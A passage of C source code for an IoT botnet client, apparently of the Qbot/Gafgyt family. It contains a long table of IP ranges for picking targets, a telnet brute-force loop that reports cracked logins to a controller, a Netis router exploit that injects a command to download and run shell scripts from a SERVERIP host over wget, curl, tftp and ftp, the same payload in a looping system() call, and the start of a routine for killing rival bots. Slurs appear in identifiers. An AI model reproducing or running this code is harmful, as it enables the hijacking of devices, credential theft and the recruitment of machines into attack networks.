  935. szprintf(ip, "14.188.%d.%d", ipState[3], ipState[4]);
  936. }
  937. if(randnum == 87)
  938. {
  939. szprintf(ip, "14.189.%d.%d", ipState[3], ipState[4]);
  940. }
  941. if(randnum == 88)
  942. {
  943. szprintf(ip, "14.190.%d.%d", ipState[3], ipState[4]);
  944. }
  945. if(randnum == 89)
  946. {
  947. szprintf(ip, "14.191.%d.%d", ipState[3], ipState[4]);
  948. }
  949. if(randnum == 90)
  950. {
  951. szprintf(ip, "45.121.%d.%d", ipState[3], ipState[4]);
  952. }
  953. if(randnum == 91)
  954. {
  955. szprintf(ip, "45.120.%d.%d", ipState[3], ipState[4]);
  956. }
  957. if(randnum == 92)
  958. {
  959. szprintf(ip, "45.115.%d.%d", ipState[3], ipState[4]);
  960. }
  961. if(randnum == 93)
  962. {
  963. szprintf(ip, "43.252.%d.%d", ipState[3], ipState[4]);
  964. }
  965. if(randnum == 94)
  966. {
  967. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  968. }
  969. if(randnum == 95)
  970. {
  971. szprintf(ip, "43.240.%d.%d", ipState[3], ipState[4]);
  972. }
  973. if(randnum == 96)
  974. {
  975. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  976. }
  977. if(randnum == 97)
  978. {
  979. szprintf(ip, "41.174.%d.%d", ipState[3], ipState[4]);
  980. }
  981. if(randnum == 98)
  982. {
  983. szprintf(ip, "49.118.%d.%d", ipState[3], ipState[4]);
  984. }
  985. if(randnum == 99)
  986. {
  987. szprintf(ip, "78.188.%d.%d", ipState[3], ipState[4]);
  988. }
  989. if(randnum == 100)
  990. {
  991. szprintf(ip, "45.127.%d.%d", ipState[3], ipState[4]);
  992. }
  993. if(randnum == 101)
  994. {
  995. szprintf(ip, "103.30.%d.%d", ipState[3], ipState[4]);
  996. }
  997. if(randnum == 102)
  998. {
  999. szprintf(ip, "14.33.%d.%d", ipState[3], ipState[4]);
  1000. }
  1001. if(randnum == 103)
  1002. {
  1003. szprintf(ip, "123.16.%d.%d", ipState[3], ipState[4]);
  1004. }
  1005. if(randnum == 104)
  1006. {
  1007. szprintf(ip, "202.44.%d.%d", ipState[3], ipState[4]);
  1008. }
  1009. if(randnum == 105)
  1010. {
  1011. szprintf(ip, "116.93.%d.%d", ipState[3], ipState[4]);
  1012. }
  1013. if(randnum == 106)
  1014. {
  1015. szprintf(ip, "91.83.%d.%d", ipState[3], ipState[4]);
  1016. }
  1017. if(randnum == 107)
  1018. {
  1019. szprintf(ip, "41.253.%d.%d", ipState[3], ipState[4]);
  1020. }
  1021. if(randnum == 108)
  1022. {
  1023. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  1024. }
  1025. if(randnum == 109)
  1026. {
  1027. szprintf(ip, "113.190.%d.%d", ipState[3], ipState[4]);
  1028. }
  1029. if(randnum == 110)
  1030. {
  1031. szprintf(ip, "146.88.%d.%d", ipState[3], ipState[4]);
  1032. }
  1033. if(randnum == 111)
  1034. {
  1035. szprintf(ip, "112.196.%d.%d", ipState[3], ipState[4]);
  1036. }
  1037. if(randnum == 112)
  1038. {
  1039. szprintf(ip, "113.178.%d.%d", ipState[3], ipState[4]);
  1040. }
  1041. if(randnum == 113)
  1042. {
  1043. szprintf(ip, "112.45.%d.%d", ipState[3], ipState[4]);
  1044. }
  1045. if(randnum == 114)
  1046. {
  1047. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1048. }
  1049. if(randnum == 115)
  1050. {
  1051. szprintf(ip, "116.71.%d.%d", ipState[3], ipState[4]);
  1052. }
  1053. if(randnum == 116)
  1054. {
  1055. szprintf(ip, "103.44.%d.%d", ipState[3], ipState[4]);
  1056. }
  1057. if(randnum == 117)
  1058. {
  1059. szprintf(ip, "110.235.%d.%d", ipState[3], ipState[4]);
  1060. }
  1061. if(randnum == 118)
  1062. {
  1063. szprintf(ip, "124.253.%d.%d", ipState[3], ipState[4]);
  1064. }
  1065. if(randnum == 119)
  1066. {
  1067. szprintf(ip, "211.237.%d.%d", ipState[3], ipState[4]);
  1068. }
  1069. if(randnum == 120)
  1070. {
  1071. szprintf(ip, "117.175.%d.%d", ipState[3], ipState[4]);
  1072. }
  1073. if(randnum == 121)
  1074. {
  1075. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  1076. }
  1077. if(randnum == 122)
  1078. {
  1079. szprintf(ip, "178.93.%d.%d", ipState[3], ipState[4]);
  1080. }
  1081. if(randnum == 123)
  1082. {
  1083. szprintf(ip, "111.9.%d.%d", ipState[3], ipState[4]);
  1084. }
  1085. if(randnum == 124)
  1086. {
  1087. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1088. }
  1089. if(randnum == 125)
  1090. {
  1091. szprintf(ip, "113.174.%d.%d", ipState[3], ipState[4]);
  1092. }
  1093. if(randnum == 126)
  1094. {
  1095. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1096. }
  1097. if(randnum == 127)
  1098. {
  1099. szprintf(ip, "113.160.%d.%d", ipState[3], ipState[4]);
  1100. }
  1101. if(randnum == 128)
  1102. {
  1103. szprintf(ip, "113.161.%d.%d", ipState[3], ipState[4]);
  1104. }
  1105. if(randnum == 129)
  1106. {
  1107. szprintf(ip, "113.162.%d.%d", ipState[3], ipState[4]);
  1108. }
  1109. if(randnum == 130)
  1110. {
  1111. szprintf(ip, "113.163.%d.%d", ipState[3], ipState[4]);
  1112. }
  1113. if(randnum == 131)
  1114. {
  1115. szprintf(ip, "113.164.%d.%d", ipState[3], ipState[4]);
  1116. }
  1117. if(randnum == 132)
  1118. {
  1119. szprintf(ip, "113.165.%d.%d", ipState[3], ipState[4]);
  1120. }
  1121. if(randnum == 133)
  1122. {
  1123. szprintf(ip, "113.166.%d.%d", ipState[3], ipState[4]);
  1124. }
  1125. if(randnum == 134)
  1126. {
  1127. szprintf(ip, "113.167.%d.%d", ipState[3], ipState[4]);
  1128. }
  1129. if(randnum == 135)
  1130. {
  1131. szprintf(ip, "113.168.%d.%d", ipState[3], ipState[4]);
  1132. }
  1133. if(randnum == 136)
  1134. {
  1135. szprintf(ip, "113.169.%d.%d", ipState[3], ipState[4]);
  1136. }
  1137. if(randnum == 137)
  1138. {
  1139. szprintf(ip, "123.17.%d.%d", ipState[3], ipState[4]);
  1140. }
  1141. if(randnum == 138)
  1142. {
  1143. szprintf(ip, "123.18.%d.%d", ipState[3], ipState[4]);
  1144. }
  1145. if(randnum == 139)
  1146. {
  1147. szprintf(ip, "123.19.%d.%d", ipState[3], ipState[4]);
  1148. }
  1149. if(randnum == 140)
  1150. {
  1151. szprintf(ip, "123.20.%d.%d", ipState[3], ipState[4]);
  1152. }
  1153. if(randnum == 141)
  1154. {
  1155. szprintf(ip, "123.21.%d.%d", ipState[3], ipState[4]);
  1156. }
  1157. if(randnum == 142)
  1158. {
  1159. szprintf(ip, "123.22.%d.%d", ipState[3], ipState[4]);
  1160. }
  1161. if(randnum == 143)
  1162. {
  1163. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1164. }
  1165. if(randnum == 144)
  1166. {
  1167. szprintf(ip, "222.253.%d.%d", ipState[3], ipState[4]);
  1168. }
  1169. if(randnum == 145)
  1170. {
  1171. szprintf(ip, "222.254.%d.%d", ipState[3], ipState[4]);
  1172. }
  1173. if(randnum == 146)
  1174. {
  1175. szprintf(ip, "222.255.%d.%d", ipState[3], ipState[4]);
  1176. }
  1177. if(randnum == 147)
  1178. {
  1179. szprintf(ip, "37.247.%d.%d", ipState[3], ipState[4]);
  1180. }
  1181. if(randnum == 148)
  1182. {
  1183. szprintf(ip, "41.208.%d.%d", ipState[3], ipState[4]);
  1184. }
  1185. if(randnum == 149)
  1186. {
  1187. szprintf(ip, "183.220.%d.%d", ipState[3], ipState[4]);
  1188. }
  1189. if(randnum == 150)
  1190. {
  1191. szprintf(ip, "175.201.%d.%d", ipState[3], ipState[4]);
  1192. }
  1193. if(randnum == 151)
  1194. {
  1195. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1196. }
  1197. if(randnum == 152)
  1198. {
  1199. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1200. }
  1201. if(randnum == 153)
  1202. {
  1203. szprintf(ip, "50.205.%d.%d", ipState[3], ipState[4]);
  1204. }
  1205. if(randnum == 154)
  1206. {
  1207. szprintf(ip, "88.248.%d.%d", ipState[3], ipState[4]);
  1208. }
  1209. if(randnum == 155)
  1210. {
  1211. szprintf(ip, "88.105.%d.%d", ipState[3], ipState[4]);
  1212. }
  1213. if(randnum == 156)
  1214. {
  1215. szprintf(ip, "88.247.%d.%d", ipState[3], ipState[4]);
  1216. }
  1217. if(randnum == 157)
  1218. {
  1219. szprintf(ip, "85.105.%d.%d", ipState[3], ipState[4]);
  1220. }
  1221. if(randnum == 158)
  1222. {
  1223. szprintf(ip, "188.3.%d.%d", ipState[3], ipState[4]);
  1224. }
  1225. if(randnum == 159)
  1226. {
  1227. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1228. }
  1229. if(randnum == 160)
  1230. {
  1231. szprintf(ip, "103.55.%d.%d", ipState[3], ipState[4]);
  1232. }
  1233. if(randnum == 161)
  1234. {
  1235. szprintf(ip, "103.220.%d.%d", ipState[3], ipState[4]);
  1236. }
  1237. if(randnum == 162)
  1238. {
  1239. szprintf(ip, "183.233.%d.%d", ipState[3], ipState[4]);
  1240. }
  1241. if(randnum == 163)
  1242. {
  1243. szprintf(ip, "103.242.%d.%d", ipState[3], ipState[4]);
  1244. }
  1245. if(randnum == 164)
  1246. {
  1247. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1248. }
  1249. if(randnum == 165)
  1250. {
  1251. szprintf(ip, "103.14.%d.%d", ipState[3], ipState[4]);
  1252. }
  1253. if(randnum == 166)
  1254. {
  1255. szprintf(ip, "103.195.%d.%d", ipState[3], ipState[4]);
  1256. }
  1257. if(randnum == 167)
  1258. {
  1259. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1260. }
  1261. if(randnum == 168)
  1262. {
  1263. szprintf(ip, "103.214.%d.%d", ipState[3], ipState[4]);
  1264. }
  1265. if(randnum == 169)
  1266. {
  1267. szprintf(ip, "103.218.%d.%d", ipState[3], ipState[4]);
  1268. }
  1269. if(randnum == 171)
  1270. {
  1271. szprintf(ip, "103.225.%d.%d", ipState[3], ipState[4]);
  1272. }
  1273. if(randnum == 172)
  1274. {
  1275. szprintf(ip, "103.228.%d.%d", ipState[3], ipState[4]);
  1276. }
  1277. if(randnum == 173)
  1278. {
  1279. szprintf(ip, "103.231.%d.%d", ipState[3], ipState[4]);
  1280. }
  1281. if(randnum == 174)
  1282. {
  1283. szprintf(ip, "103.60.%d.%d", ipState[3], ipState[4]);
  1284. }
  1285. if(randnum == 175)
  1286. {
  1287. szprintf(ip, "103.248.%d.%d", ipState[3], ipState[4]);
  1288. }
  1289. if(randnum == 176)
  1290. {
  1291. szprintf(ip, "103.253.%d.%d", ipState[3], ipState[4]);
  1292. }
  1293. if(randnum == 177)
  1294. {
  1295. szprintf(ip, "103.255.%d.%d", ipState[3], ipState[4]);
  1296. }
  1297. if(randnum == 178)
  1298. {
  1299. szprintf(ip, "103.35.%d.%d", ipState[3], ipState[4]);
  1300. }
  1301. if(randnum == 179)
  1302. {
  1303. szprintf(ip, "103.49.%d.%d", ipState[3], ipState[4]);
  1304. }
  1305. if(randnum == 180)
  1306. {
  1307. szprintf(ip, "103.62.%d.%d", ipState[3], ipState[4]);
  1308. }
  1309. if(randnum == 181)
  1310. {
  1311. szprintf(ip, "144.48.%d.%d", ipState[3], ipState[4]);
  1312. }
  1313. if(randnum == 182)
  1314. {
  1315. szprintf(ip, "163.47.%d.%d", ipState[3], ipState[4]);
  1316. }
  1317. if(randnum == 183)
  1318. {
  1319. szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
  1320. }
  1321. if(randnum == 184)
  1322. {
  1323. szprintf(ip, "223.29.%d.%d", ipState[3], ipState[4]);
  1324. }
  1325. if(randnum == 185)
  1326. {
  1327. szprintf(ip, "59.153.%d.%d", ipState[3], ipState[4]);
  1328. }
  1329. if(randnum == 186)
  1330. {
  1331. szprintf(ip, "113.176.%d.%d", ipState[3], ipState[4]);
  1332. }
  1333. if(randnum == 187)
  1334. {
  1335. szprintf(ip, "113.175.%d.%d", ipState[3], ipState[4]);
  1336. }
  1337. if(randnum == 188)
  1338. {
  1339. szprintf(ip, "113.177.%d.%d", ipState[3], ipState[4]);
  1340. }
  1341. if(randnum == 189)
  1342. {
  1343. szprintf(ip, "113.183.%d.%d", ipState[3], ipState[4]);
  1344. }
  1345. if(randnum == 190)
  1346. {
  1347. szprintf(ip, "202.164.%d.%d", ipState[3], ipState[4]);
  1348. }
  1349. if(randnum == 191)
  1350. {
  1351. szprintf(ip, "203.134.%d.%d", ipState[3], ipState[4]);
  1352. }
  1353. if(randnum == 192)
  1354. {
  1355. szprintf(ip, "210.56.%d.%d", ipState[3], ipState[4]);
  1356. }
  1357. if(randnum == 193)
  1358. {
  1359. szprintf(ip, "49.156.%d.%d", ipState[3], ipState[4]);
  1360. }
  1361. if(randnum == 194)
  1362. {
  1363. szprintf(ip, "203.210.%d.%d", ipState[3], ipState[4]);
  1364. }
  1365. if(randnum == 195)
  1366. {
  1367. szprintf(ip, "117.181.%d.%d", ipState[3], ipState[4]);
  1368. }
  1369. if(randnum == 196)
  1370. {
  1371. szprintf(ip, "117.178.%d.%d", ipState[3], ipState[4]);
  1372. }
  1373. if(randnum == 197)
  1374. {
  1375. szprintf(ip, "117.177.%d.%d", ipState[3], ipState[4]);
  1376. }
  1377. if(randnum == 198)
  1378. {
  1379. szprintf(ip, "117.176.%d.%d", ipState[3], ipState[4]);
  1380. }
  1381. if(randnum == 199)
  1382. {
  1383. szprintf(ip, "117.170.%d.%d", ipState[3], ipState[4]);
  1384. }
  1385. if(randnum == 200)
  1386. {
  1387. szprintf(ip, "117.171.%d.%d", ipState[3], ipState[4]);
  1388. }
  1389. if(randnum == 201)
  1390. {
  1391. szprintf(ip, "117.162.%d.%d", ipState[3], ipState[4]);
  1392. }
  1393. if(randnum == 201)
  1394. {
  1395. szprintf(ip, "112.26.%d.%d", ipState[3], ipState[4]);
  1396. }
  1397. if(randnum == 202)
  1398. {
  1399. szprintf(ip, "112.27.%d.%d", ipState[3], ipState[4]);
  1400. }
  1401. if(randnum == 203)
  1402. {
  1403. szprintf(ip, "112.28.%d.%d", ipState[3], ipState[4]);
  1404. }
  1405. if(randnum == 204)
  1406. {
  1407. szprintf(ip, "112.29.%d.%d", ipState[3], ipState[4]);
  1408. }
  1409. if(randnum == 205)
  1410. {
  1411. szprintf(ip, "112.30.%d.%d", ipState[3], ipState[4]);
  1412. }
  1413. if(randnum == 206)
  1414. {
  1415. szprintf(ip, "112.31.%d.%d", ipState[3], ipState[4]);
  1416. }
  1417. if(randnum == 207)
  1418. {
  1419. szprintf(ip, "203.150.%d.%d", ipState[3], ipState[4]);
  1420. }
  1421. if(randnum == 208)
  1422. {
  1423. szprintf(ip, "50.233.%d.%d", ipState[3], ipState[4]);
  1424. }
  1425.  
  1426. return inet_addr(ip);
  1427. }
  1428.  
  1429. int Dickranges[] = {110,111,112,113,114,115,116,117,118,119,223,1,27,182,36,39,42,123,122,41,59,220,221,175,14,101,58,60,61,183};
  1430. in_addr_t NetisRanges()
  1431. {
  1432. int range = rand() % (sizeof(Dickranges)/sizeof(char *));
  1433. ipState[1] = Dickranges[range];
  1434. ipState[2] = rand() % 255;
  1435. ipState[3] = rand() % 255;
  1436. ipState[4] = rand() % 255;
  1437. char ip[16] = {0};
  1438. szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  1439. return inet_addr(ip);
  1440. }
  1441. in_addr_t HackerScan(in_addr_t netmask)
  1442. {
  1443. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  1444. return tmp ^ ( rand_cmwc() & ~netmask);
  1445. }
  1446. unsigned short csum (unsigned short *buf, int count)
  1447. {
  1448. register uint64_t sum = 0;
  1449. while( count > 1 ) { sum += *buf++; count -= 2; }
  1450. if(count > 0) { sum += *(unsigned char *)buf; }
  1451. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  1452. return (uint16_t)(~sum);
  1453. }
  1454. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  1455. {
  1456. struct tcp_pseudo
  1457. {
  1458. unsigned long src_addr;
  1459. unsigned long dst_addr;
  1460. unsigned char zero;
  1461. unsigned char proto;
  1462. unsigned short length;
  1463. } pseudohead;
  1464. unsigned short total_len = iph->tot_len;
  1465. pseudohead.src_addr=iph->saddr;
  1466. pseudohead.dst_addr=iph->daddr;
  1467. pseudohead.zero=0;
  1468. pseudohead.proto=IPPROTO_TCP;
  1469. pseudohead.length=htons(sizeof(struct tcphdr));
  1470. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  1471. unsigned short *tcp = malloc(totaltcp_len);
  1472. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  1473. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  1474. unsigned short output = csum(tcp,totaltcp_len);
  1475. free(tcp);
  1476. return output;
  1477. }
  1478. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  1479. {
  1480. iph->ihl = 5;
  1481. iph->version = 4;
  1482. iph->tos = 0;
  1483. iph->tot_len = sizeof(struct iphdr) + packetSize;
  1484. iph->id = rand_cmwc();
  1485. iph->frag_off = 0;
  1486. iph->ttl = MAXTTL;
  1487. iph->protocol = protocol;
  1488. iph->check = 0;
  1489. iph->saddr = source;
  1490. iph->daddr = dest;
  1491. }
  1492. int sclose(int fd)
  1493. {
  1494. if(3 > fd) return 1;
  1495. close(fd);
  1496. return 0;
  1497. }
  1498. struct telstate_t
  1499. {
  1500. int fd;
  1501. unsigned int ip;
  1502. unsigned char state;
  1503. unsigned char complete;
  1504. unsigned char usernameInd;
  1505. unsigned char passwordInd;
  1506. unsigned char tempDirInd;
  1507. unsigned int totalTimeout;
  1508. unsigned short bufUsed;
  1509. char *sockbuf;
  1510. };
  1511. const char* get_telstate_host(struct telstate_t* telstate)
  1512. {
  1513. struct in_addr in_addr_ip;
  1514. in_addr_ip.s_addr = telstate->ip;
  1515. return inet_ntoa(in_addr_ip);
  1516. }
  1517. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings)
  1518. {
  1519. int num_bytes, i;
  1520. memset(buffer, 0, buf_size);
  1521. num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  1522. if(buffer[0] == 0xFF)
  1523. {
  1524. negotiate(fd, buffer, 3);
  1525. }
  1526. if(contains_string(buffer, strings))
  1527. {
  1528. return 1;
  1529. }
  1530. return 0;
  1531. }
  1532. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size)
  1533. {
  1534. fd_set read_set;
  1535. struct timeval tv;
  1536. tv.tv_sec = 0;
  1537. tv.tv_usec = timeout_usec;
  1538. FD_ZERO(&read_set);
  1539. FD_SET(fd, &read_set);
  1540. if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  1541. return 0;
  1542. return recv(fd, buffer, buf_size, 0);
  1543. }
  1544. int contains_success(char* buffer)
  1545. {
  1546. return contains_string(buffer, successes);
  1547. }
  1548. int contains_fail(char* buffer)
  1549. {
  1550. return contains_string(buffer, fails);
  1551. }
  1552. int contains_string(char* buffer, char** strings)
  1553. {
  1554. int num_strings = 0, i = 0;
  1555. for(num_strings = 0; strings[++num_strings] != 0; );
  1556. for(i = 0; i < num_strings; i++)
  1557. {
  1558. if(strcasestr(buffer, strings[i]))
  1559. {
  1560. return 1;
  1561. }
  1562. }
  1563. return 0;
  1564. }
  1565. //major improvments done by Jonah
  1566. void StartTheLelz() {
  1567. int i, res, j;
  1568. char buf[128], cur_dir;
  1569. int wait_usec = 10;
  1570. int maxfds = 1000;
  1571. int max = maxfds;
  1572. fd_set fdset;
  1573. struct timeval tv;
  1574. socklen_t lon;
  1575. int valopt;
  1576. srand(time(NULL) ^ rand_cmwc());
  1577. char line[256];
  1578. char* buffer;
  1579. struct sockaddr_in dest_addr;
  1580. dest_addr.sin_family = AF_INET;
  1581. dest_addr.sin_port = htons(23);
  1582. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1583. buffer = malloc(BUFFER_SIZE + 1);
  1584. memset(buffer, 0, BUFFER_SIZE + 1);
  1585. struct telstate_t fds[max];
  1586. memset(fds, 0, max * (sizeof(int) + 1));
  1587. for(i = 0; i < max; i++) {
  1588. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1589. fds[i].complete = 1;
  1590. fds[i].sockbuf = buffer; }
  1591. while(1) {
  1592. for(i = 0; i < max; i++) {
  1593. if(fds[i].totalTimeout == 0) {
  1594. fds[i].totalTimeout = time(NULL); }
  1595. switch(fds[i].state) {
  1596. case 0: {
  1597. if(fds[i].complete == 1) {
  1598. char *tmp = fds[i].sockbuf;
  1599. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1600. fds[i].sockbuf = tmp;
  1601. fds[i].ip = HackerScan2(); }
  1602. else if(fds[i].complete == 0) {
  1603. fds[i].passwordInd++;
  1604. fds[i].usernameInd++;
  1605. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) {
  1606. fds[i].complete = 1;
  1607. continue; }
  1608. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) {
  1609. fds[i].complete = 1;
  1610. continue;
  1611. }
  1612. }
  1613. dest_addr.sin_family = AF_INET;
  1614. dest_addr.sin_port = htons(23);
  1615. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1616. dest_addr.sin_addr.s_addr = fds[i].ip;
  1617. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1618. if(fds[i].fd == -1) continue;
  1619. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1620. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  1621. sclose(fds[i].fd);
  1622. fds[i].complete = 1; }
  1623. else {
  1624. fds[i].state = 1;
  1625. fds[i].totalTimeout = 0;
  1626. }
  1627. }
  1628. break;
  1629. case 1:
  1630. {
  1631. FD_ZERO(&fdset);
  1632. FD_SET(fds[i].fd, &fdset);
  1633. tv.tv_sec = 0;
  1634. tv.tv_usec = wait_usec;
  1635. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1636. if(res == 1) {
  1637. lon = sizeof(int);
  1638. valopt = 0;
  1639. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1640. if(valopt) {
  1641. sclose(fds[i].fd);
  1642. fds[i].state = 0;
  1643. fds[i].complete = 1;
  1644. } else {
  1645. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1646. fds[i].totalTimeout = 0;
  1647. fds[i].bufUsed = 0;
  1648. memset(fds[i].sockbuf, 0, 1024);
  1649. fds[i].state = 2;
  1650. } continue; }
  1651. else if(res == -1) {
  1652. sclose(fds[i].fd);
  1653. fds[i].state = 0;
  1654. fds[i].complete = 1;
  1655. continue; }
  1656. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1657. sclose(fds[i].fd);
  1658. fds[i].state = 0;
  1659. fds[i].complete = 1;
  1660. }
  1661. }
  1662. break;
  1663. case 2:
  1664. {
  1665. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) {
  1666. if(contains_fail(fds[i].sockbuf)) {
  1667. fds[i].state = 0;
  1668. } else {
  1669. fds[i].state = 3; }
  1670. continue; }
  1671. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1672. fds[i].state = 0;
  1673. fds[i].complete = 1;
  1674. }
  1675. }
  1676. break;
  1677. case 3: {
  1678. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
  1679. fds[i].state = 0;
  1680. fds[i].complete = 1;
  1681. continue; }
  1682. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1683. fds[i].state = 0;
  1684. fds[i].complete = 1;
  1685. continue; }
  1686. fds[i].state = 4; }
  1687. break;
  1688. case 4:
  1689. {
  1690. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
  1691. {
  1692. if(contains_fail(fds[i].sockbuf)) {
  1693. fds[i].state = 0;
  1694. } else {
  1695. fds[i].state = 5; }
  1696. continue; }
  1697. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1698. fds[i].state = 0;
  1699. fds[i].complete = 1;
  1700. }
  1701. }
  1702. break;
  1703. case 5:
  1704. {
  1705. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
  1706. fds[i].state = 0;
  1707. fds[i].complete = 1;
  1708. continue; }
  1709. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1710. fds[i].state = 0;
  1711. fds[i].complete = 1;
  1712. continue; }
  1713. fds[i].state = 6;
  1714. }
  1715. break;
  1716. case 6:
  1717. {
  1718. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2)) {
  1719. fds[i].totalTimeout = time(NULL);
  1720. if(contains_fail(fds[i].sockbuf)) {
  1721. fds[i].state = 0; }
  1722. else if(contains_success(fds[i].sockbuf)) {
  1723. if(fds[i].complete == 2) {
  1724. fds[i].state = 7; }
  1725. else {
  1726. HackerPrint(D1ckSucka, "\x1b[0;31mSuccessfully Bruteforced IP: \x1b[0;33m%s | \x1b[0;31mUsername: \x1b[0;33m%s | \x1b[0;31mPassword: \x1b[0;33m%s\x1b[0m", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1727. HackerPrint(D1ckSucka, "REPORT %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1728. fds[i].state = 7; }
  1729. } else {
  1730. fds[i].state = 0;
  1731. fds[i].complete = 1;
  1732. } continue; }
  1733. if(fds[i].totalTimeout + 7 < time(NULL)) {
  1734. fds[i].state = 0;
  1735. fds[i].complete = 1;
  1736. }
  1737. }
  1738. break;
  1739. case 7:
  1740. {
  1741. fds[i].totalTimeout = time(NULL);
  1742. if(send(fds[i].fd, hvgsgd, strlen(hvgsgd), MSG_NOSIGNAL) < 0) {
  1743. sclose(fds[i].fd);
  1744. fds[i].state = 0;
  1745. fds[i].complete = 1;
  1746. continue; }
  1747. fds[i].complete = 3;
  1748. if(fds[i].totalTimeout + 60 < time(NULL)) {
  1749. if(fds[i].complete !=3){
  1750. }
  1751. fds[i].state = 0;
  1752. fds[i].complete = 1;
  1753. }
  1754. break;
  1755. }
  1756. }
  1757. }
  1758. }
  1759. }
  1760. void StartTheNetis()
  1761. {
  1762. while(1){
  1763. char payload2[1024];
  1764. int clientSocket, portNum, nBytes;
  1765. struct sockaddr_in serverAddr;
  1766. socklen_t addr_size;
  1767. clientSocket = socket(PF_INET, SOCK_DGRAM, 0);
  1768. uint32_t ip;
  1769. ip = NetisRanges();
  1770. serverAddr.sin_family = AF_INET;
  1771. serverAddr.sin_port = htons(53413);
  1772. serverAddr.sin_addr.s_addr = ip;
  1773. memset(serverAddr.sin_zero, '\0', sizeof serverAddr.sin_zero);
  1774. addr_size = sizeof serverAddr;
  1775. sprintf(payload2, "%s cd /tmp; wget http://SERVERIP/bins.sh; curl -O http://SERVERIP/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp SERVERIP -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g SERVERIP; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 SERVERIP ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n x00", NETIS);
  1776. sendto(clientSocket,payload2,strlen(payload2),0,(struct sockaddr *)&serverAddr,addr_size);
  1777. }
  1778. }
  1779. //LOOPING PAYLOAD LOL IDFK WHY
  1780. void LoopPayload(){
  1781. int i;
  1782. for(i = 0; i < 9; i++){
  1783. system("cd /tmp; wget http://SERVERIP/bins.sh; curl -O http://SERVERIP/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp SERVERIP -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g SERVERIP; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 SERVERIP ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n");
  1784. return;
  1785. }
  1786. sleep(5);
  1787. }
  1788. //botkill
  1789. void botkiller(){
  1790. char* Niggerdirs[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/", (char*) 0};//wtf are we doing here well these are the directory
